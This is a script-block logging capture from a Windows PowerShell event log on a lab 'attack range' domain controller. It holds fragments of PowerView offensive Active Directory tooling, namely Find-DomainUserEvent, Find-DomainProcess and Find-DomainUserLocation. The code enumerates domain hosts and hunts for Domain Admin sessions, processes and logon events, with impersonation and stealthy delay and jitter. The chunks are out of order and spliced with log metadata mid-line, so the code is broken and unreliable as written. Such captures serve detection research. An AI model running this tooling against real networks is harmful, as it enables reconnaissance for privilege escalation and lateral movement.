if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shares on the domain. If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share. If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the 772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112107Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local5262rguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-e772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112106Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local5162 $UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherA772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112105Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local5062earchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
